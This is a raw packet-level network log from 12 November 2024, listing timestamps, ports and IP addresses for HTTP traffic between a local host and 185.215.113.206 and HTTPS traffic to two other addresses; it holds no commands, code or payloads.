Nov 12, 2024 10:37:32.356601000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.356713057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356724024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356734037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356745005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356758118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356761932 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.356767893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356787920 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.356806040 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.357228041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.357285976 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.357296944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.357321978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.357348919 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.357476950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.357487917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.357498884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.357516050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.357538939 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.426646948 CET	443	49912	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.427073002 CET	49912	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.427087069 CET	443	49912	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.427526951 CET	49912	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.427531958 CET	443	49912	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.433326006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.433382034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.433393002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.433402061 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.433413029 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.433427095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.433479071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.433490038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.433500051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.433521986 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.433547974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.439167976 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.439507008 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.439532042 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.439927101 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.439934015 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.464927912 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.465303898 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.465328932 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.465960026 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.465966940 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.471117973 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.471358061 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.471471071 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.471487045 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.471860886 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.471864939 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.472075939 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.472088099 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.472687006 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.472690105 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.472964048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.472976923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.472987890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473014116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.473045111 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.473113060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473124981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473136902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473144054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.473149061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473156929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.473160982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473176003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.473196983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.473618984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473630905 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473643064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473654032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473665953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473669052 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.473678112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473686934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.473690033 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.473717928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474163055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474174976 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474185944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474201918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474205971 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474214077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474221945 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474225998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474236965 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474244118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474260092 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474280119 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474314928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474344969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474642038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474653006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474664927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474675894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474684954 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474700928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474769115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474780083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474790096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.474800110 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.474833965 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.475308895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.475348949 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.475368023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.475379944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.475404978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.475416899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.550663948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.550683975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.550698042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.550723076 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.550755024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.550782919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.550802946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.550815105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.550828934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.550884962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.550884962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.557667017 CET	443	49912	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.557738066 CET	443	49912	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.557795048 CET	49912	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.557919979 CET	49912	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.557929039 CET	443	49912	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.557949066 CET	49912	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.557952881 CET	443	49912	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.560823917 CET	49921	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.560861111 CET	443	49921	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.560923100 CET	49921	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.561110020 CET	49921	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.561120987 CET	443	49921	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.566651106 CET	443	49918	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:32.566899061 CET	49918	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:32.566905975 CET	443	49918	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:32.567468882 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.567523003 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.567559004 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.567614079 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.567651987 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.567666054 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.567677021 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.567681074 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.567904949 CET	443	49918	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:32.567965984 CET	49918	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:32.568881989 CET	49918	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:32.568929911 CET	443	49918	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:32.570275068 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.570302010 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.570357084 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.570521116 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.570534945 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.571033001 CET	443	49917	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:32.571383953 CET	49917	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:32.571392059 CET	443	49917	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:32.571716070 CET	443	49917	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:32.571995974 CET	49917	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:32.572050095 CET	443	49917	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:32.589611053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589638948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589657068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589672089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.589696884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589698076 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.589713097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589726925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.589735031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.589741945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589755058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589757919 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.589797974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.589884043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589896917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589909077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589916945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.589935064 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.589986086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590095997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590138912 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590183020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590197086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590240002 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590281963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590296984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590337038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590542078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590585947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590599060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590600967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590625048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590642929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590728045 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590742111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590754986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590769053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590778112 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590789080 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590812922 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590935946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590948105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590960026 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.590982914 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.590997934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.591427088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.591440916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.591475010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.591480970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.591490030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.591499090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.591514111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.591520071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.591531992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.591542006 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.591548920 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.591583967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.591696978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.591715097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.591726065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.591736078 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.591752052 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.591763020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.600342989 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.600923061 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.601119995 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.601360083 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.601367950 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.601378918 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.601383924 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.603008986 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.603069067 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.603136063 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.606496096 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.606508970 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.606524944 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.606530905 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.607619047 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.607635975 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.607665062 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.607721090 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.607769966 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.607777119 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.609102964 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.609112978 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.609297037 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.609322071 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.609339952 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.609344959 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.610883951 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.610913038 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.610986948 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.612056017 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.612067938 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.613279104 CET	49925	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.613326073 CET	443	49925	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.613419056 CET	49925	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.613547087 CET	49925	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:32.613564014 CET	443	49925	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:32.619580030 CET	49917	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:32.619584084 CET	49918	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:32.619609118 CET	443	49918	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:32.666630983 CET	49918	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:32.667279959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.667346001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.667356014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.667356014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.667377949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.667382956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.667418003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.667499065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.667541027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.667572975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.667583942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.667628050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.667656898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.667695045 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.706497908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.706564903 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.706599951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.706612110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.706649065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.706710100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.706721067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.706753016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.706759930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.706769943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.706799984 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.706849098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.706860065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.706888914 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.706902981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707000971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707012892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707036972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707050085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707144022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707154036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707165003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707182884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707195997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707210064 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707329035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707340002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707349062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707370996 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707384109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707456112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707465887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707479000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707494020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707518101 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707676888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707690001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707720995 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707803011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707813978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707843065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.707981110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.707993031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708003044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708013058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708041906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.708041906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.708209038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708255053 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.708291054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708303928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708333969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.708359957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.708483934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708494902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708504915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708517075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708528996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708530903 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.708550930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.708581924 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.708759069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.708771944 CET	80	49834	185.215.113.206	192.168.2.6
